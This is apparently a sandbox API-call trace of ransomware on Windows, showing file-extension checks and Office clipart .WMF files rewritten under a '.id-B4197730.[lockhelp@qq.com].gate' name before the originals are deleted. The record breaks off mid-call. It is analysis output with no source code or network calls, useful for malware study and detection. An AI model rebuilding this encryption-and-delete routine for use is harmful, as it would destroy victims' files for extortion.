[0294.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0294.698] lstrlenW (lpString=".jpg") returned 4 [0294.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.699] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=1382) returned 1 [0294.699] CloseHandle (hObject=0x52c) returned 1 [0294.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x220 [0294.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0294.700] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.700] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0294.700] GetLastError () returned 0x0 [0294.700] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x566, lpOverlapped=0x0) returned 1 [0294.780] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x570, lpOverlapped=0x0) returned 1 [0294.781] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.781] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0294.781] SetEndOfFile (hFile=0x50c) returned 1 [0294.781] CloseHandle (hObject=0x50c) returned 1 [0294.781] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.781] SetEndOfFile (hFile=0x52c) returned 1 [0294.784] CloseHandle (hObject=0x52c) returned 1 [0294.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0294.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0294.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0294.785] lstrlenW (lpString=".doc") returned 4 [0294.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.785] lstrlenW (lpString=".docx") returned 5 [0294.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.785] lstrlenW (lpString=".pdf") returned 4 [0294.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.785] lstrlenW (lpString=".xls") returned 4 [0294.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.785] lstrlenW (lpString=".xlsx") returned 5 [0294.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.785] lstrlenW (lpString=".ppt") returned 4 [0294.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0294.785] lstrlenW (lpString=".zip") returned 4 [0294.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.785] lstrlenW (lpString=".rar") returned 4 [0294.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.785] lstrlenW (lpString=".bz2") returned 4 [0294.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.785] lstrlenW (lpString=".7z") returned 3 [0294.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0294.786] lstrlenW (lpString=".dbf") returned 4 [0294.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0294.786] lstrlenW (lpString=".1cd") returned 4 [0294.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0294.786] lstrlenW (lpString=".jpg") returned 4 [0294.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.786] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=13042) returned 1 [0294.786] CloseHandle (hObject=0x52c) returned 1 [0294.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x220 [0294.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0294.787] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.787] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0294.787] GetLastError () returned 0x0 [0294.787] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x32f2, lpOverlapped=0x0) returned 1 [0294.837] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x3300, lpOverlapped=0x0) returned 1 [0294.838] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.838] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0294.838] SetEndOfFile (hFile=0x50c) returned 1 [0294.839] CloseHandle (hObject=0x50c) returned 1 [0294.839] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.839] SetEndOfFile (hFile=0x52c) returned 1 [0294.841] CloseHandle (hObject=0x52c) returned 1 [0294.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.842] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0294.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0294.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0294.842] lstrlenW (lpString=".doc") returned 4 [0294.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.842] lstrlenW (lpString=".docx") returned 5 [0294.842] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.842] lstrlenW (lpString=".pdf") returned 4 [0294.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.842] lstrlenW (lpString=".xls") returned 4 [0294.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.842] lstrlenW (lpString=".xlsx") returned 5 [0294.842] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.842] lstrlenW (lpString=".ppt") returned 4 [0294.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0294.842] lstrlenW (lpString=".zip") returned 4 [0294.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.843] lstrlenW (lpString=".rar") returned 4 [0294.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.843] lstrlenW (lpString=".bz2") returned 4 [0294.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.843] lstrlenW (lpString=".7z") returned 3 [0294.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0294.843] lstrlenW (lpString=".dbf") returned 4 [0294.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0294.843] lstrlenW (lpString=".1cd") returned 4 [0294.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0294.843] lstrlenW (lpString=".jpg") returned 4 [0294.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.102] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=6938) returned 1 [0295.102] CloseHandle (hObject=0x52c) returned 1 [0295.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 0x220 [0295.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0295.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0295.103] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.103] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0295.104] GetLastError () returned 0x0 [0295.104] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1b1a, lpOverlapped=0x0) returned 1 [0295.203] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1b20, lpOverlapped=0x0) returned 1 [0295.204] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0295.204] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0295.204] SetEndOfFile (hFile=0x50c) returned 1 [0295.204] CloseHandle (hObject=0x50c) returned 1 [0295.204] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.204] SetEndOfFile (hFile=0x52c) returned 1 [0295.207] CloseHandle (hObject=0x52c) returned 1 [0295.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0295.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0295.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0295.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0295.209] lstrlenW (lpString=".doc") returned 4 [0295.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.209] lstrlenW (lpString=".docx") returned 5 [0295.209] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.209] lstrlenW (lpString=".pdf") returned 4 [0295.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.209] lstrlenW (lpString=".xls") returned 4 [0295.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.209] lstrlenW (lpString=".xlsx") returned 5 [0295.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.209] lstrlenW (lpString=".ppt") returned 4 [0295.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0295.209] lstrlenW (lpString=".zip") returned 4 [0295.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.209] lstrlenW (lpString=".rar") returned 4 [0295.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.209] lstrlenW (lpString=".bz2") returned 4 [0295.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.209] lstrlenW (lpString=".7z") returned 3 [0295.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0295.209] lstrlenW (lpString=".dbf") returned 4 [0295.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0295.209] lstrlenW (lpString=".1cd") returned 4 [0295.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 68 [0295.209] lstrlenW (lpString=".jpg") returned 4 [0295.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.220] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=7944) returned 1 [0295.220] CloseHandle (hObject=0x52c) returned 1 [0295.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0x220 [0295.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0295.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0295.221] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.221] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0295.221] GetLastError () returned 0x0 [0295.221] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x1f08, lpOverlapped=0x0) returned 1 [0295.432] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1f10, lpOverlapped=0x0) returned 1 [0295.432] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0295.432] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0295.433] SetEndOfFile (hFile=0x50c) returned 1 [0295.781] CloseHandle (hObject=0x50c) returned 1 [0295.781] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.781] SetEndOfFile (hFile=0x52c) returned 1 [0295.784] CloseHandle (hObject=0x52c) returned 1 [0295.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0295.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0295.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0295.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0295.785] lstrlenW (lpString=".doc") returned 4 [0295.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.785] lstrlenW (lpString=".docx") returned 5 [0295.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.785] lstrlenW (lpString=".pdf") returned 4 [0295.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.785] lstrlenW (lpString=".xls") returned 4 [0295.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.785] lstrlenW (lpString=".xlsx") returned 5 [0295.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.785] lstrlenW (lpString=".ppt") returned 4 [0295.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0295.785] lstrlenW (lpString=".zip") returned 4 [0295.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.785] lstrlenW (lpString=".rar") returned 4 [0295.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.785] lstrlenW (lpString=".bz2") returned 4 [0295.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.786] lstrlenW (lpString=".7z") returned 3 [0295.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0295.786] lstrlenW (lpString=".dbf") returned 4 [0295.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0295.786] lstrlenW (lpString=".1cd") returned 4 [0295.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0295.786] lstrlenW (lpString=".jpg") returned 4 [0295.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.786] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11994) returned 1 [0295.786] CloseHandle (hObject=0x52c) returned 1 [0295.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220 [0295.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0295.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0295.787] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.787] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0295.787] GetLastError () returned 0x0 [0295.787] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x2eda, lpOverlapped=0x0) returned 1 [0296.140] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x2ee0, lpOverlapped=0x0) returned 1 [0296.140] ReadFile (in: hFile=0x52c, 